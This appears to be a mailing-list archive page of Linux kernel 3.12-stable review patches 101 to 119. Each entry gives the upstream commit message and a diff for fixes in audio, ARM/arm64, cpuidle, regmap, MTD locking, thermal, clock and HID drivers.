Signature · 1 line
2.4.6
PATCH 101/124 ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780
In reply to Jiri SlabyFrom: Takashi Iwai <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 4df3fd1700abbb53bd874143dfd1f9ac9e7cbf4b upstream.
Fujitsu Lifebook E780 sets the sequence number 0x0f to only only of the two headphones, thus the driver tries to assign another as the line-out, and this results in the inconsistent mapping between the created jack ctl and the actual I/O. Due to this, PulseAudio doesn't handle it properly and gets the silent output.
The fix is to ignore the non-HP sequencer checks.
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=99681
--- sound/pci/hda/patch_realtek.c | 6 ++++++ 1 file changed, 6 insertions(+)
sound/pci/hda/patch_realtek.c +6 -0
@@ -3712,6 +3712,7 @@ enum {ALC269_FIXUP_LIFEBOOK ,ALC269_FIXUP_LIFEBOOK_EXTMIC ,ALC269_FIXUP_LIFEBOOK_HP_PIN , +ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT ,ALC269_FIXUP_AMIC ,ALC269_FIXUP_DMIC , ALC269VB_FIXUP_AMIC,
@@ -3844,6 +3845,10 @@ static const struct hda_fixup alc269_fixups[] = { { } }, }, + [ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT] = { + .type = HDA_FIXUP_FUNC, + .v.func = alc269_fixup_pincfg_no_hp_to_lineout, + }, [ALC269_FIXUP_AMIC] = { .type = HDA_FIXUP_PINS, .v.pins = (const struct hda_pintbl[]) {
@@ -4154,6 +4159,7 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = {SND_PCI_QUIRK (0x104d ,0x9084 ,"Sony VAIO" ,ALC275_FIXUP_SONY_HWEQ ),SND_PCI_QUIRK_VENDOR (0x104d ,"Sony VAIO" ,ALC269_FIXUP_SONY_VAIO ),SND_PCI_QUIRK (0x10cf ,0x1475 ,"Lifebook" ,ALC269_FIXUP_LIFEBOOK ), +SND_PCI_QUIRK (0x10cf ,0x159f ,"Lifebook E780" ,ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT ),SND_PCI_QUIRK (0x10cf ,0x15dc ,"Lifebook T731" ,ALC269_FIXUP_LIFEBOOK_HP_PIN ),SND_PCI_QUIRK (0x10cf ,0x1757 ,"Lifebook E752" ,ALC269_FIXUP_LIFEBOOK_HP_PIN ), SND_PCI_QUIRK(0x10cf, 0x1845, "Lifebook U904", ALC269_FIXUP_LIFEBOOK_EXTMIC),
Signature · 1 line
2.4.6
PATCH 102/124 ARC: add compiler barrier to LLSC based cmpxchg
In reply to Jiri SlabyFrom: Vineet Gupta <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit d57f727264f1425a94689bafc7e99e502cb135b5 upstream.
When auditing cmpxchg call sites, Chuck noted that gcc was optimizing away some of the desired LDs.
| do {
| new = old = *ipi_data_ptr;
| new |= 1U << msg;
| } while (cmpxchg(ipi_data_ptr, old, new) != old);was generating to below
| 8015cef8: ld r2,[r4,0] <-- First LD | 8015cefc: bset r1,r2,r1 | | 8015cf00: llock r3,[r4] <-- atomic op | 8015cf04: brne r3,r2,8015cf10 | 8015cf08: scond r1,[r4] | 8015cf0c: bnz 8015cf00 | | 8015cf10: brne r3,r2,8015cf00 <-- Branch doesn't go to orig LD
Although this was fixed by adding a ACCESS_ONCE in this call site, it seems safer (for now at least) to add compiler barrier to LLSC based cmpxchg
--- arch/arc/include/asm/cmpxchg.h | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-)
arch/arc/include/asm/cmpxchg.h +5 -4
@@ -25,10 +25,11 @@ __cmpxchg(volatile void *ptr, unsigned long expected, unsigned long new)" scond %3, [%1] \n" " bnz 1b \n" "2: \n" - : "=&r"(prev) - : "r"(ptr), "ir"(expected), -" r"(new) /* can't be " ir". scond can't take limm for " b" */ - : "cc"); + : "=&r"(prev) /* Early clobber, to prevent reg reuse */ + : "r"(ptr), /* Not "m": llock only supports reg direct addr mode */ +" ir"(expected), +" r"(new) /* can't be " ir". scond can't take LIMM for " b" */ + : "cc", "memory"); /* so that gcc knows memory is being written here */ return prev; }
Signature · 1 line
2.4.6
PATCH 103/124 arm64: Do not attempt to use init_mm in reset_context()
In reply to Jiri SlabyFrom: Catalin Marinas <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 565630d503ef24e44c252bed55571b3a0d68455f upstream.
After secondary CPU boot or hotplug, the active_mm of the idle thread is &init_mm. The init_mm.pgd (swapper_pg_dir) is only meant for TTBR1_EL1 and must not be set in TTBR0_EL1. Since when active_mm == &init_mm the TTBR0_EL1 is already set to the reserved value, there is no need to perform any context reset.
--- arch/arm64/mm/context.c | 8 ++++++++ 1 file changed, 8 insertions(+)
arch/arm64/mm/context.c +8 -0
@@ -92,6 +92,14 @@ static void reset_context(void *info)unsigned int cpu =smp_processor_id ();struct mm_struct *mm = current->active_mm; +/* +* current->active_mm could be init_mm for the idle thread immediately +* after secondary CPU boot or hotplug. TTBR0_EL1 is already set to +* the reserved value, so no need to reset any context. +*/ +if (mm == &init_mm) +return ; +smp_rmb (); asid = cpu_last_asid + cpu;
Signature · 1 line
2.4.6
PATCH 104/124 arm64: mm: Fix freeing of the wrong memmap entries with !SPARSEMEM_VMEMMAP
In reply to Jiri SlabyFrom: Dave P Martin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit b9bcc919931611498e856eae9bf66337330d04cc upstream.
The memmap freeing code in free_unused_memmap() computes the end of each memblock by adding the memblock size onto the base. However, if SPARSEMEM is enabled then the value (start) used for the base may already have been rounded downwards to work out which memmap entries to free after the previous memblock.
This may cause memmap entries that are in use to get freed.
In general, you're not likely to hit this problem unless there are at least 2 memblocks and one of them is not aligned to a sparsemem section boundary. Note that carve-outs can increase the number of memblocks by splitting the regions listed in the device tree.
This problem doesn't occur with SPARSEMEM_VMEMMAP, because the vmemmap code deals with freeing the unused regions of the memmap instead of requiring the arch code to do it.
This patch gets the memblock base out of the memblock directly when computing the block end address to ensure the correct value is used.
--- arch/arm64/mm/init.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm64/mm/init.c +1 -1
@@ -253,7 +253,7 @@ static void __init free_unused_memmap(void)* memmap entries are valid from the bank end aligned to * MAX_ORDER_NR_PAGES. */ - prev_end =ALIGN (start +__phys_to_pfn (reg->size), + prev_end =ALIGN (__phys_to_pfn (reg->base + reg->size),MAX_ORDER_NR_PAGES ); }
Signature · 1 line
2.4.6
PATCH 105/124 arm64: vdso: work-around broken ELF toolchains in Makefile
In reply to Jiri SlabyFrom: Will Deacon <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 6f1a6ae87c0c60d7c462ef8fd071f291aa7a9abb upstream.
When building the kernel with a bare-metal (ELF) toolchain, the -shared option may not be passed down to collect2, resulting in silent corruption of the vDSO image (in particular, the DYNAMIC section is omitted).
The effect of this corruption is that the dynamic linker fails to find the vDSO symbols and libc is instead used for the syscalls that we intended to optimise (e.g. gettimeofday). Functionally, there is no issue as the sigreturn trampoline is still intact and located by the kernel.
This patch fixes the problem by explicitly passing -shared to the linker when building the vDSO.
--- arch/arm64/kernel/vdso/Makefile | 4 ++++ 1 file changed, 4 insertions(+)
arch/arm64/kernel/vdso/Makefile +4 -0
@@ -15,6 +15,10 @@ ccflags-y := -shared -fno-common -fno-builtin ccflags-y += -nostdlib -Wl,-soname=linux-vdso.so.1 \ $(call cc-ldoption, -Wl$(comma)--hash-style=sysv) +# Workaround for bare-metal (ELF) toolchains that neglect to pass -shared +# down to collect2, resulting in silent corruption of the vDSO image. +ccflags-y += -Wl,-shared + obj-y += vdso.o extra-y += vdso.lds vdso-offsets.h CPPFLAGS_vdso.lds += -P -C -U$(ARCH)
Signature · 1 line
2.4.6
PATCH 106/124 cpuidle / menu: Return (-1) if there are no suitable states
In reply to Jiri SlabyFrom: "Rafael J. Wysocki" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 3836785a1bdcd6706c68ad46bf53adc0b057b310 upstream.
If there is a PM QoS latency limit and all of the sufficiently shallow C-states are disabled, the cpuidle menu governor returns 0 which on some systems is CPUIDLE_DRIVER_STATE_START and shouldn't be returned if that C-state has been disabled.
Fix the issue by modifying the menu governor to return (-1) in such situations.
[shilpab: Backport to 3.10.y
- adjust context
- add a check if 'next_state' is less than 0 in 'cpuidle_idle_call()', this ensures that we exit 'cpuidle_idle_call()' if governor->select() returns negative value]
--- drivers/cpuidle/cpuidle.c | 3 +++ drivers/cpuidle/governors/menu.c | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-)
drivers/cpuidle/cpuidle.c +3 -0
@@ -133,6 +133,9 @@ int cpuidle_idle_call(void)/* ask the governor for the next state */ next_state = cpuidle_curr_governor->select (drv, dev); +if (next_state <0 ) +return -EBUSY ; +if (need_resched ()) { dev->last_residency =0 ;/* give the governor an opportunity to reflect on the outcome */
drivers/cpuidle/governors/menu.c +1 -1
@@ -297,7 +297,7 @@ static int menu_select(struct cpuidle_driver *drv, struct cpuidle_device *dev) data->needs_update =0 ; } - data->last_state_idx =0 ; + data->last_state_idx =CPUIDLE_DRIVER_STATE_START -1 ; data->exit_us =0 ;/* Special case when user has set very strict latency requirement */
Signature · 1 line
2.4.6
PATCH 107/124 regmap: Fix regmap_bulk_read in BE mode
In reply to Jiri SlabyFrom: Arun Chandran <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 15b8d2c41fe5839582029f65c5f7004db451cc2b upstream.
In big endian mode regmap_bulk_read gives incorrect data for byte reads.
This is because memcpy of a single byte from an address after full word read gives different results when endianness differs. ie. we get little-end in LE and big-end in BE.
--- drivers/base/regmap/regmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/base/regmap/regmap.c +1 -1
@@ -1736,7 +1736,7 @@ int regmap_bulk_read(struct regmap *map, unsigned int reg, void *val, &ival);if (ret !=0 )return ret; -memcpy (val + (i * val_bytes), &ival, val_bytes); + map->format.format_val (val + (i * val_bytes), ival,0 ); } }
Signature · 1 line
2.4.6
PATCH 108/124 regmap: Fix possible shift overflow in regmap_field_init()
In reply to Jiri SlabyFrom: Maxime Coquelin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 921cc29473a0d7c109105c1876ddb432f4a4be7d upstream.
The way the mask is generated in regmap_field_init() is wrong. Indeed, a field initialized with msb = 31 and lsb = 0 provokes a shift overflow while calculating the mask field.
On some 32 bits architectures, such as x86, the generated mask is 0, instead of the expected 0xffffffff.
This patch uses GENMASK() to fix the problem, as this macro is already safe regarding shift overflow.
[-js: in 3.12, we do not have GENMASK for general access. Define locally as RM_GENMASK.]
--- drivers/base/regmap/regmap.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
drivers/base/regmap/regmap.c +4 -2
@@ -813,14 +813,16 @@ struct regmap *devm_regmap_init(struct device *dev, }EXPORT_SYMBOL_GPL (devm_regmap_init); +#define RM_GENMASK (h, l) \ + (((~0UL) << (l)) & (~0UL >> (BITS_PER_LONG - 1 - (h)))) +static void regmap_field_init (struct regmap_field *rm_field,struct regmap *regmap,struct reg_field reg_field) { -int field_bits = reg_field.msb - reg_field.lsb +1 ; rm_field->regmap = regmap; rm_field->reg = reg_field.reg; rm_field->shift = reg_field.lsb; - rm_field->mask = ((BIT (field_bits) -1 ) << reg_field.lsb); + rm_field->mask =RM_GENMASK (reg_field.msb, reg_field.lsb); }/**
Signature · 1 line
2.4.6
PATCH 109/124 regulator: core: fix constraints output buffer
In reply to Jiri SlabyFrom: Stefan Wahren <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit a7068e3932eee8268c4ce4e080a338ee7b8a27bf upstream.
The buffer for condtraints debug isn't big enough to hold the output in all cases. So fix this issue by increasing the buffer.
--- drivers/regulator/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/regulator/core.c +1 -1
@@ -773,7 +773,7 @@ static int suspend_prepare(struct regulator_dev *rdev, suspend_state_t state)static void print_constraints (struct regulator_dev *rdev) {struct regulation_constraints *constraints = rdev->constraints; -char buf[80 ] ="" ; +char buf[160 ] ="" ;int count =0 ;int ret;
Signature · 1 line
2.4.6
PATCH 110/124 spi: pl022: Specify 'num-cs' property as required in devicetree binding
In reply to Jiri SlabyFrom: Ezequiel Garcia <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ea6055c46eda1e19e02209814955e13f334bbe1b upstream.
Since commit 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data") the 'num-cs' parameter cannot be passed through platform data when probing with devicetree. Instead, it's a required devicetree property.
Fix the binding documentation so the property is properly specified.
--- Documentation/devicetree/bindings/spi/spi_pl022.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
Documentation/devicetree/bindings/spi/spi_pl022.txt +1 -1
@@ -4,9 +4,9 @@ Required properties: - compatible : "arm,pl022", "arm,primecell" - reg : Offset and length of the register set for the device - interrupts : Should contain SPI controller interrupt +- num-cs : total number of chipselects Optional properties: -- num-cs : total number of chipselects - cs-gpios : should specify GPIOs used for chipselects. The gpios will be referred to as reg = <index> in the SPI child nodes. If unspecified, a single SPI device without a chip select can be used.
Signature · 1 line
2.4.6
PATCH 111/124 leds / PM: fix hibernation on arm when gpio-led used with CPU led trigger
In reply to Jiri SlabyFrom: Grygorii Strashko <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 084609bf727981c7a2e6e69aefe0052c9d793300 upstream.
Setting a dev_pm_ops suspend/resume pair of callbacks but not a set of hibernation callbacks means those pm functions will not be called upon hibernation - that leads to system crash on ARM during freezing if gpio-led is used in combination with CPU led trigger. It may happen after freeze_noirq stage (GPIO is suspended) and before syscore_suspend stage (CPU led trigger is suspended)
- usually when disable_nonboot_cpus() is called.
Log:
PM: noirq freeze of devices complete after 1.425 msecs Disabling non-boot CPUs ...
^ system may crash or stuck here with message (TI AM572x)
WARNING: CPU: 0 PID: 3100 at drivers/bus/omap_l3_noc.c:148 l3_interrupt_handler+0x22c/0x370() 44000000.ocp:L3 Custom Error: MASTER MPU TARGET L4_PER1_P3 (Idle): Data Access in Supervisor mode during Functional access
CPU1: shutdown
^ or here
Fix this by using SIMPLE_DEV_PM_OPS, which appropriately assigns the suspend and hibernation callbacks and move led_suspend/led_resume under CONFIG_PM_SLEEP to avoid build warnings.
--- drivers/leds/led-class.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-)
drivers/leds/led-class.c +3 -4
@@ -178,6 +178,7 @@ void led_classdev_resume(struct led_classdev *led_cdev) }EXPORT_SYMBOL_GPL (led_classdev_resume); +#ifdef CONFIG_PM_SLEEP static int led_suspend (struct device *dev) {struct led_classdev *led_cdev =dev_get_drvdata (dev);
@@ -197,11 +198,9 @@ static int led_resume(struct device *dev)return 0 ; } +#endif -static const struct dev_pm_ops leds_class_dev_pm_ops = { - .suspend = led_suspend, - .resume = led_resume, -}; +static SIMPLE_DEV_PM_OPS(leds_class_dev_pm_ops, led_suspend, led_resume);/** * led_classdev_register - register a new object of led_classdev class.
Signature · 1 line
2.4.6
PATCH 112/124 mtd: fix: avoid race condition when accessing mtd->usecount
In reply to Jiri SlabyFrom: Brian Norris <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 073db4a51ee43ccb827f54a4261c0583b028d5ab upstream.
On A MIPS 32-cores machine a BUG_ON was triggered because some acesses to mtd->usecount were done without taking mtd_table_mutex.
kernel: Call Trace:
kernel: [<ffffffff80401818>] __put_mtd_device+0x20/0x50
kernel: [<ffffffff804086f4>] blktrans_release+0x8c/0xd8
kernel: [<ffffffff802577e0>] __blkdev_put+0x1a8/0x200
kernel: [<ffffffff802579a4>] blkdev_close+0x1c/0x30
kernel: [<ffffffff8022006c>] __fput+0xac/0x250
kernel: [<ffffffff80171208>] task_work_run+0xd8/0x120
kernel: [<ffffffff8012c23c>] work_notifysig+0x10/0x18
kernel:
kernel:
Code: 2442ffff ac8202d8 000217fe <00020336> dc820128 10400003
00000000 0040f809 00000000kernel: ---[ end trace 080fbb4579b47a73 ]---
Fixed by taking the mutex in blktrans_open and blktrans_release.
Note that this locking is already suggested ininclude/linux/mtd/blktrans.h:
struct mtd_blktrans_ops {
...
/* Called with mtd_table_mutex held; no race with add/remove */ int (*open)(struct mtd_blktrans_dev *dev); void (*release)(struct mtd_blktrans_dev *dev);
...
};
But we weren't following it.
Originally reported by (and patched by) Zhang and Giuseppe, independently. Improved and rewritten.
--- drivers/mtd/mtd_blkdevs.c | 5 +++++ 1 file changed, 5 insertions(+)
drivers/mtd/mtd_blkdevs.c +5 -0
@@ -199,6 +199,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode)return -ERESTARTSYS ;/* FIXME: busy loop! -arnd*/ mutex_lock (&dev->lock); +mutex_lock (&mtd_table_mutex);if (dev->open) goto unlock;
@@ -222,6 +223,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode) unlock: dev->open++; +mutex_unlock (&mtd_table_mutex);mutex_unlock (&dev->lock);blktrans_dev_put (dev);return ret;
@@ -232,6 +234,7 @@ error_release: error_put:module_put (dev->tr->owner);kref_put (&dev->ref, blktrans_dev_release); +mutex_unlock (&mtd_table_mutex);mutex_unlock (&dev->lock);blktrans_dev_put (dev);return ret;
@@ -245,6 +248,7 @@ static void blktrans_release(struct gendisk *disk, fmode_t mode)return ;mutex_lock (&dev->lock); +mutex_lock (&mtd_table_mutex);if (--dev->open) goto unlock;
@@ -258,6 +262,7 @@ static void blktrans_release(struct gendisk *disk, fmode_t mode)__put_mtd_device (dev->mtd); } unlock: +mutex_unlock (&mtd_table_mutex);mutex_unlock (&dev->lock);blktrans_dev_put (dev); }
Signature · 1 line
2.4.6
PATCH 113/124 mtd: dc21285: use raw spinlock functions for nw_gpio_lock
In reply to Jiri SlabyFrom: Uwe Kleine-König <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e5babdf928e5d0c432a8d4b99f20421ce14d1ab6 upstream.
Since commit bd31b85960a7 (which is in 3.2-rc1) nw_gpio_lock is a raw spinlock that needs usage of the corresponding raw functions.
This fixes:
drivers/mtd/maps/dc21285.c: In function 'nw_en_write':
drivers/mtd/maps/dc21285.c:41:340: warning: passing argument 1 of 'spinlock_check' from incompatible pointer type
spin_lock_irqsave(&nw_gpio_lock, flags);
In file included from include/linux/seqlock.h:35:0,
from include/linux/time.h:5,
from include/linux/stat.h:18,
from include/linux/module.h:10,
from drivers/mtd/maps/dc21285.c:8:
include/linux/spinlock.h:299:102: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *'
static inline raw_spinlock_t *spinlock_check(spinlock_t *lock)
^
drivers/mtd/maps/dc21285.c:43:25: warning: passing argument 1 of 'spin_unlock_irqrestore' from incompatible pointer type
spin_unlock_irqrestore(&nw_gpio_lock, flags);
^
In file included from include/linux/seqlock.h:35:0,
from include/linux/time.h:5,
from include/linux/stat.h:18,
from include/linux/module.h:10,
from drivers/mtd/maps/dc21285.c:8: include/linux/spinlock.h:370:91: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *'
static inline void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags)
--- drivers/mtd/maps/dc21285.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/mtd/maps/dc21285.c +2 -2
@@ -38,9 +38,9 @@ static void nw_en_write(void)* we want to write a bit pattern XXX1 to Xilinx to enable * the write gate, which will be open for about the next 2ms. */ -spin_lock_irqsave (&nw_gpio_lock, flags); +raw_spin_lock_irqsave (&nw_gpio_lock, flags);nw_cpld_modify (CPLD_FLASH_WR_ENABLE ,CPLD_FLASH_WR_ENABLE ); -spin_unlock_irqrestore (&nw_gpio_lock, flags); +raw_spin_unlock_irqrestore (&nw_gpio_lock, flags);/* * let the ISA bus to catch on...
Signature · 1 line
2.4.6
PATCH 114/124 thermal: step_wise: fix: Prevent from binary overflow when trend is dropping
In reply to Jiri SlabyFrom: Lukasz Majewski <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 26bb0e9a1a938ec98ee07aa76533f1a711fba706 upstream.
It turns out that some boards can have instance->lower greater than 0 and when thermal trend is dropping it results with next_target equal to -1.
Since the next_target is defined as unsigned long it is interpreted as 0xFFFFFFFF and larger than instance->upper.
As a result the next_target is set to instance->upper which ramps up to maximal cooling device target when the temperature is steadily decreasing.
--- drivers/thermal/step_wise.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/thermal/step_wise.c +1 -1
@@ -75,7 +75,7 @@ static unsigned long get_target_state(struct thermal_instance *instance, next_target = instance->upper;break ;case THERMAL_TREND_DROPPING : -if (cur_state == instance->lower) { +if (cur_state <= instance->lower) {if (!throttle) next_target =THERMAL_NO_TARGET ; }else {
Signature · 1 line
2.4.6
PATCH 115/124 thermal: rcar: fix ENR register value
In reply to Jiri SlabyFrom: Yoshihiro Shimoda <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 11313746547015ace605c4c347a40350753051e4 upstream.
On R-Mobile APE6, since it has 3 thermal zones, ENR register has enable bits in bit 19-16, bit 11-8 and bit 3-0.
However, on R-Car gen2, since it has 1 thermal zone, ENR register has enable bits in bit 3-0. (In other words, the write value should always be 0 for bit 31-4 of ENR register.)
So, this patch fixes the ENR register value using I/O resource sets.
--- drivers/thermal/rcar_thermal.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-)
drivers/thermal/rcar_thermal.c +8 -3
@@ -367,6 +367,7 @@ static int rcar_thermal_probe(struct platform_device *pdev)int i;int ret = -ENODEV ;int idle =IDLE_INTERVAL ; +u32 enr_bits =0 ; common =devm_kzalloc (dev,sizeof (*common),GFP_KERNEL );if (!common) {
@@ -405,9 +406,6 @@ static int rcar_thermal_probe(struct platform_device *pdev)if (IS_ERR (common->base))return PTR_ERR (common->base); -/* enable temperature comparation */ -rcar_thermal_common_write (common,ENR ,0x00030303 ); - idle =0 ;/* polling delaye is not needed */ }
@@ -450,8 +448,15 @@ static int rcar_thermal_probe(struct platform_device *pdev)rcar_thermal_irq_enable (priv);list_move_tail (&priv->list, &common->head); + +/* update ENR bits */ + enr_bits |=3 << (i *8 ); } +/* enable temperature comparation */ +if (irq) +rcar_thermal_common_write (common,ENR , enr_bits); +platform_set_drvdata (pdev, common);dev_info (dev,"%d sensor probed\n" , i);
Signature · 1 line
2.4.6
PATCH 116/124 ARM: shmobile: wait for MSTP clock status to toggle, when enabling it
In reply to Jiri SlabyFrom: Guennadi Liakhovetski <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit a028c6da34d434e35ba8322568c756ea97ff3c18 upstream.
On r-/sh-mobile SoCs MSTP clocks are used by the runtime PM to dynamically enable and disable peripheral clocks. To make sure the clock has really started we have to read back its status register until it confirms success.
--- drivers/sh/clk/cpg.c | 38 ++++++++++++++++++++++++++++++++++++++ include/linux/sh_clk.h | 19 ++++++++++++------- 2 files changed, 50 insertions(+), 7 deletions(-)
drivers/sh/clk/cpg.c +38 -0
@@ -36,9 +36,47 @@ static void sh_clk_write(int value, struct clk *clk)iowrite32 (value, clk->mapped_reg); } +static unsigned int r8 (const void __iomem *addr) +{ +return ioread8 (addr); +} + +static unsigned int r16 (const void __iomem *addr) +{ +return ioread16 (addr); +} + +static unsigned int r32 (const void __iomem *addr) +{ +return ioread32 (addr); +} +static int sh_clk_mstp_enable (struct clk *clk) {sh_clk_write (sh_clk_read (clk) & ~(1 << clk->enable_bit), clk); +if (clk->status_reg) { +unsigned int (*read)(const void __iomem *addr); +int i; +void __iomem *mapped_status = (phys_addr_t )clk->status_reg - + (phys_addr_t )clk->enable_reg + clk->mapped_reg; + +if (clk->flags &CLK_ENABLE_REG_8BIT ) + read = r8; +else if (clk->flags &CLK_ENABLE_REG_16BIT ) + read = r16; +else + read = r32; + +for (i =1000 ; + (read (mapped_status) & (1 << clk->enable_bit)) && i; + i--) +cpu_relax (); +if (!i) { +pr_err ("cpg: failed to enable %p[%d]\n" , + clk->enable_reg, clk->enable_bit); +return -ETIMEDOUT ; + } + }return 0 ; }
include/linux/sh_clk.h +12 -7
@@ -52,6 +52,7 @@ struct clk {unsigned long flags;void __iomem *enable_reg; +void __iomem *status_reg;unsigned int enable_bit;void __iomem *mapped_reg;
@@ -116,22 +117,26 @@ long clk_round_parent(struct clk *clk, unsigned long target, unsigned long *best_freq, unsigned long *parent_freq, unsigned int div_min, unsigned int div_max); -#define SH_CLK_MSTP (_parent, _enable_reg, _enable_bit, _flags) \ +#define SH_CLK_MSTP (_parent, _enable_reg, _enable_bit, _status_reg, _flags) \ { \ .parent = _parent, \ .enable_reg = (void __iomem *)_enable_reg, \ .enable_bit = _enable_bit, \ + .status_reg = _status_reg, \ .flags = _flags, \ } -#define SH_CLK_MSTP32 (_p, _r, _b, _f) \ - SH_CLK_MSTP(_p, _r, _b, _f | CLK_ENABLE_REG_32BIT) +#define SH_CLK_MSTP32 (_p, _r, _b, _f) \ + SH_CLK_MSTP(_p, _r, _b, 0, _f | CLK_ENABLE_REG_32BIT) -#define SH_CLK_MSTP16 (_p, _r, _b, _f) \ - SH_CLK_MSTP(_p, _r, _b, _f | CLK_ENABLE_REG_16BIT) +#define SH_CLK_MSTP32_STS (_p, _r, _b, _s, _f) \ + SH_CLK_MSTP(_p, _r, _b, _s, _f | CLK_ENABLE_REG_32BIT) -#define SH_CLK_MSTP8 (_p, _r, _b, _f) \ - SH_CLK_MSTP(_p, _r, _b, _f | CLK_ENABLE_REG_8BIT) +#define SH_CLK_MSTP16 (_p, _r, _b, _f) \ + SH_CLK_MSTP(_p, _r, _b, 0, _f | CLK_ENABLE_REG_16BIT) + +#define SH_CLK_MSTP8 (_p, _r, _b, _f) \ + SH_CLK_MSTP(_p, _r, _b, 0, _f | CLK_ENABLE_REG_8BIT)int sh_clk_mstp_register (struct clk *clks,int nr);
Signature · 1 line
2.4.6
PATCH 117/124 HID: hyperv: make sure input buffer is big enough
In reply to Jiri SlabyFrom: David Herrmann <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 3ccfd0a8d7062a5590923578eea829ee582beba8 upstream.
We need at least HID_MAX_BUFFER_SIZE (4096) bytes as input buffer. HID core depends on this as it requires every input report to be at least as big as advertised.
--- drivers/hid/hid-hyperv.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-)
drivers/hid/hid-hyperv.c +8 -3
@@ -157,6 +157,7 @@ struct mousevsc_dev {u32 report_desc_size;struct hv_input_dev_info hid_dev_info;struct hid_device *hid_device; +u8 input_buf[HID_MAX_BUFFER_SIZE ]; };
@@ -256,6 +257,7 @@ static void mousevsc_on_receive(struct hv_device *device,struct synthhid_msg *hid_msg;struct mousevsc_dev *input_dev =hv_get_drvdata (device);struct synthhid_input_report *input_report; +size_t len; pipe_msg = (struct pipe_prt_msg *)((unsigned long )packet + (packet->offset8 <<3 ));
@@ -300,9 +302,12 @@ static void mousevsc_on_receive(struct hv_device *device, (struct synthhid_input_report *)pipe_msg->data;if (!input_dev->init_complete)break ; -hid_input_report (input_dev->hid_device, -HID_INPUT_REPORT , input_report->buffer, - input_report->header.size,1 ); + + len =min (input_report->header.size, + (u32 )sizeof (input_dev->input_buf)); +memcpy (input_dev->input_buf, input_report->buffer, len); +hid_input_report (input_dev->hid_device,HID_INPUT_REPORT , + input_dev->input_buf, len,1 );break ;default : pr_err("unsupported hid msg type - type %d len %d",
Signature · 1 line
2.4.6
PATCH 118/124 HID: hid-lg4ff: Support new version of G27
In reply to Jiri SlabyFrom: Simon Wood <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 6b5625b2af30de6ff73402ad070dd21592681821 upstream.
It has been reported that there is a new hardware version of the G27 in the 'wild'. This patch add's this new revision so that it can be sent the command to switch to native mode.
--- drivers/hid/hid-lg4ff.c | 2 ++ 1 file changed, 2 insertions(+)
drivers/hid/hid-lg4ff.c +2 -0
@@ -43,6 +43,7 @@#define G25_REV_MIN 0x22#define G27_REV_MAJ 0x12#define G27_REV_MIN 0x38 +#define G27_2_REV_MIN 0x39#define to_hid_device (pdev) container_of(pdev, struct hid_device, dev)
@@ -130,6 +131,7 @@ static const struct lg4ff_usb_revision lg4ff_revs[] = { {DFP_REV_MAJ, DFP_REV_MIN, &native_dfp}, /* Driving Force Pro */ {G25_REV_MAJ, G25_REV_MIN, &native_g25}, /* G25 */ {G27_REV_MAJ, G27_REV_MIN, &native_g27}, /* G27 */ + {G27_REV_MAJ, G27_2_REV_MIN, &native_g27}, /* G27 v2 */ };/* Recalculates X axis value accordingly to currently selected range */
Signature · 1 line
2.4.6
PATCH 119/124 HID: multitouch: add support for Win 8.1 multitouch touchpads
In reply to Jiri SlabyFrom: Andrew Duggan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 9abebedb123a577ecc5b69b2a2515499e430be24 upstream.
Multitouch touchpads built for Win 8.1 need to be sent an input mode feature report in order to start reporting multitouch events. This is the same process sent to Win 7 multitouch touchscreens except the value of the feature report is 3 for touchpads.
--- drivers/hid/hid-multitouch.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-)
drivers/hid/hid-multitouch.c +9 -2
